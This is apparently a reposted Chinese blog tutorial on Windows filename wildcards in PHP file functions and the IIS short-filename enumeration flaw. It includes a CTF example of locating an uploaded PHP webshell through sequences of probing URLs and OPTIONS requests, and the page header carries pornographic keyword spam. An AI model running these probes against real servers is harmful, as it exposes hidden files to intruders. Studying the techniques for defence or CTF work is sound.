日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

window的特性

發布時間:2025/3/21 windows 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 window的特性 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

參考文獻:https://xz.aliyun.com/t/2318
https://www.jianshu.com/p/96cf08d569bc
WinAPI與通配符
在Windows環境下使用PHP時,PHP中的部分函數會調用2個底層Windows API函數FindFirstFileExW(),FindFirstFile()

這兩個函數對< > "三個字符做了特別的對待和處理:

大于號 > 等價于 通配符 ? 0次或1次小于號 < 等價于 通配符 * 0次或多次雙引號 " 等價于 通配符 . 匹配除換行符(\n, \r)之外的任意單個字符

也就是說,在Windows下的PHP的某些函數中,我們可以使用< > "來匹配一些文件名/目錄名,將文件名不可知部分之后的字符用"<",">"代替,只用一個"<"或">"只能代表一個字符,若文件名很長需要用"<<"才行。

這里的部分函數包括但不限于:

include() 包含文件 include_once() 包含文件 require() 包含文件 require_once() 包含文件 fopen() 打開文件 copy() 復制文件 file_get_contents() 讀取文件 readfile() 讀取文件 file_put_contents() 寫入文件 mkdir() 創建文件 opendir() 文件夾操作 readdir() 文件夾操作 move_uploaded_file() 移動文件 getimagesize() 獲取圖像尺寸,類型等信息 ......

IIS短文件名
遠古時代的DOS下存在這樣的文件命名規則:
主文件名不能超過8個字符,擴展名不能超過3個字符(也被叫為8.3格式。)
Windows為了兼容MS-DOS,為文件名超過8位,擴展名超過3位的文件都會對應地創建一個8.3格式的文件名,也稱為短文件名。在cmd下使用命令 dir /x可以查看文件對應的短文件名
短文件名有如下2個特征:

  • 文件名只顯示前6個字符,后續字符用~1代替。當存在多個文件名類似的文件時(文件名前6位相同,且后綴名前3位相同),數字1會進行遞增。
  • 后綴只顯示前3個字符。

Windows + IIS 6 + .net 文件/目錄猜測
適用條件與局限:

  • 被猜測文件的文件名長度需超過8位,或后綴名超過3位。
  • 環境為Windows + IIS + .net
  • 只能猜測出文件名的前6位,后綴名的前3位。

IIS短文件名漏洞

當我們訪問某個存在的短文件名時,會返回404。而當我們訪問某個不存在的短文件名時,會返回400,依據返回結果的不同,就可以進行逐位猜測了。

比如要猜測出如下文件abc7758521woaini.aspx

  • 猜測文件名/目錄名
    進行如下猜解,不斷向下猜解完所有的6個字符,
http://xxx.xx.xx.xxx/a*~1****/xxx.aspx 返回404 猜測正確 http://xxx.xx.xx.xxx/aa*~1****/xxx.aspx Bad Request 猜測錯誤 http://xxx.xx.xx.xxx/ab*~1****/xxx.aspx 返回404 http://xxx.xx.xx.xxx/abc*~1****/xxx.aspx 返回404 ...... http://xxx.xx.xx.xxx/abc774*~1****/xxx.aspx Bad Request http://xxx.xx.xx.xxx/abc775*~1****/xxx.aspx 返回404

到了這一步,我們要來判斷這是一個目錄還是一個文件。
若如下請求返回404,則代表它是一個目錄,否則就是一個文件
http://xxx.xx.xx.xxx/abc775*~1/xxx.aspx

  • 猜測文件后綴
    接下來開始猜解文件后綴,不斷向下猜解完所有的3個字符
http://xxx.xx.xx.xxx/abc775*~1*a**/xxx.aspx http://xxx.xx.xx.xxx/abc775*~1*as*/xxx.aspx http://xxx.xx.xx.xxx/abc775*~1*asp/xxx.aspx

返回無法找到該頁面,則猜測成功

Windows + IIS 7.x + .net 文件/目錄猜測
不同版本的IIS返回結果如下:

IIS 6 /valid*~1*/.aspx HTTP 404 -File not found IIS 6 /Invalid*~1*/.aspx HTTP 400 -Bad Request IIS 5.x /valid*~1* HTTP 404 -File not found IIS 5.x /Invalid*~1* HTTP 400 -Bad Request IIS 7.x.Net.2 Page contains: No Error Handling /valid*~1*/ "Error code 0x 00000000 " IIS 7.x.Net.2 Page contains: No Error Handling /Invalid*~1*/ "Error code 0x 80070002 "

給出了IIS 7.x開啟了詳細錯誤之后,不同頁面的變化情況,然而默認情況下都是顯示一個自定義的404頁面,并不會給出詳細錯誤。

猜測出根目錄下的一個目錄名:abcdefg1234567aaabbb
在默認情況下,無論該文件/目錄是否存在,都會返回一個404,返回結果沒有差異的話,就無法猜測。

http://xxx.xx.xx.xxx/a*~1****/xxx.aspx http://xxx.xx.xx.xxx/b*~1****/xxx.aspx

使用OPTIONS方式請求,可以得到不一樣的返回結果:

>>>a= requests.options("http://xxx.xx.xx.xxx/abcdee*~1.*/.aspx") >>>a >>>a= requests.options("http://xxx.xx.xx.xxx/abcdef*~1.*/.aspx") >>>a

存在時會返回404,不存在時會返回200,根據返回結果的差異,就可以探測出目錄名的短文件名。

當主動開啟了詳細錯誤之后,使用GET請求也可以得到有差異的結果了。

若存在 http://xxx.xx.xx.xxx/a*~1****/xxx.aspx 錯誤代碼為 0x00000000 若不存在http://xxx.xx.xx.xxx/b*~1****/xxx.aspx 錯誤代碼為 0x80070002

Windows + Apache + PHP 文件/目錄猜測

在該環境下,無法像在IIS下直接用URL訪問的方式去逐位猜測短文件名了,但有兩個殺傷力更大的特性:

  • 當Web程序中存在某些函數時(前置知識中提到的),我們借助它們來逐位猜測出完整目錄名,文件名,并且沒有長度大小的限制。

  • 雖然無法直接用URL訪問的方式去逐位猜測出短文件名,但是可以用URL訪問的方式直接訪問/下載 已知短文件名的目錄/文件

  • 特性1

這里以HITB 2018的一道CTF題目為例,示例代碼如下:

<?php $filename = $_GET['filename'];$file = "./abcdefg1234567aaabb/" . $filename;var_dump(getimagesize($file));?>

網站存在上傳功能,我們將一個php木馬上傳到了某目錄下(abcdefg1234567aaabb),但是不知道其目錄名。
但是,我們可以向1.php的filename參數傳入該目錄下的一個圖片名,程序會返回該圖片的尺寸信息。
執行如下訪問

http://xxx.xx.xx.xxx/1.php?filename=../a</01.png 返回正常 http://xxx.xx.xx.xxx/1.php?filename=../aa</01.png 返回錯誤 http://xxx.xx.xx.xxx/1.php?filename=../ab</01.png 返回正常 ...... http://xxx.xx.xx.xxx/1.php?filename=../abcdefg</01.png 返回正常 ...... http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234</01.png 返回正常 ...... http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb</01.png 返回正常

接下來的26 + 10 次嘗試中,均返回錯誤,證明我們已經將目錄名猜解完畢,得到目錄名:

abcdefg1234567aaabb

假設我們連php木馬名也不知道呢?猜解文件名也是同一個道理

http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/w<.phphttp://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/wo<.phphttp://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woa<.phphttp://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woai<.php......http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabb/woainihhhh<.php

接下來的26 + 10 次嘗試中,均返回錯誤,證明我們已經將文件名猜解完畢,得到文件名。將目錄名和文件名拼接:

http://xxx.xx.xx.xxx/abcdefg1234567aaabb/woainihhhh.php
  • 特性2
    事實上,在上一步中,并不需要猜測出完整文件名,目錄名,用短文件名就可以直接訪問,下載了。
http://xxx.xx.xx.xxx/abcdef~1/woaini~1.php

想要下載如下文件

http://xxx.xx.xx.xxx/uploads/abcdefgasd1241asd123sgadg123sdgasd123dzg.zip

同樣可以使用短文件名去下載

http://xxx.xx.xx.xxx/uploads/abcdef~1.zip

這種方法在IIS下無法使用,IIS不接受直接用短文件名訪問的請求方式。

Windows + IIS + PHP 文件/目錄猜測
在該環境下,可以用到很多前面提到的特性。

  • 可以使用URL訪問的方式,來逐位猜測出目錄/文件的短文件名
  • 當Web程序中存在某些函數時(前置知識中提到的),我們借助它們來逐位猜測出完整目錄名,文件名,并且沒有長度大小的限制。
  • 可以使用URL訪問的方式,用通配符直接訪問文件(但不能訪問目錄)

特性1
使用前面提到過的OPTIONS請求方式來逐位猜測目錄的短文件名

>>>"a= requests.options("http://xxx.xx.xx.xxx/abcde~1/") >>>a >>>"a= requests.options("http://xxx.xx.xx.xxx/abcdf~1/") >>>a

存在時返回404,不存在時返回200

特性2
這是PHP的特性,與Web服務器種類無關。
首先逐位猜測出目錄名

http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabbb/<.php http://xxx.xx.xx.xxx/1.php?filename=../abcdefg1234567aaabbb/woainihhhh.php http://xxx.xx.xx.xxx/abcdefg1234567aaabbb/woainihhhh.php//得到完整文件路徑

特性3
事實上猜測出目錄名就足夠了,文件名可以直接使用通配符去訪問:
http://192.168.219.241/abcdefg1234567aaabbb/w<.php

Windows + Nginx + PHP 文件/目錄猜測
在該環境下,依然可用使用提到的多個特性

  • 可以直接用短文件名,訪問目錄和文件
  • 可以直接用通配符訪問文件,但是不能訪問目錄
  • PHP某些函數的特性

特性1

http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php

等價于

http://xxx.xx.xx.xxx/abcdef~1/xxxaaa~1.php

特性2

http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php

等價于

http://xxx.xx.xx.xxx/abcdef~1/x<.php

特性3
逐位猜測目錄名:

http://xxx.xx.xx.xxx/1.php?filename=../abcdefgwoaini123</1.php

Read error代表存在
逐位猜測文件名

http://xxx.xx.xx.xxx/1.php?filename=../abcdefgwoaini123/xxxaaabbbccc<.php

進而拼接處完整文件路徑:

http://xxx.xx.xx.xxx/abcdefgwoaini123/xxxaaabbbccc.php

總結

以上是生活随笔為你收集整理的window的特性的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。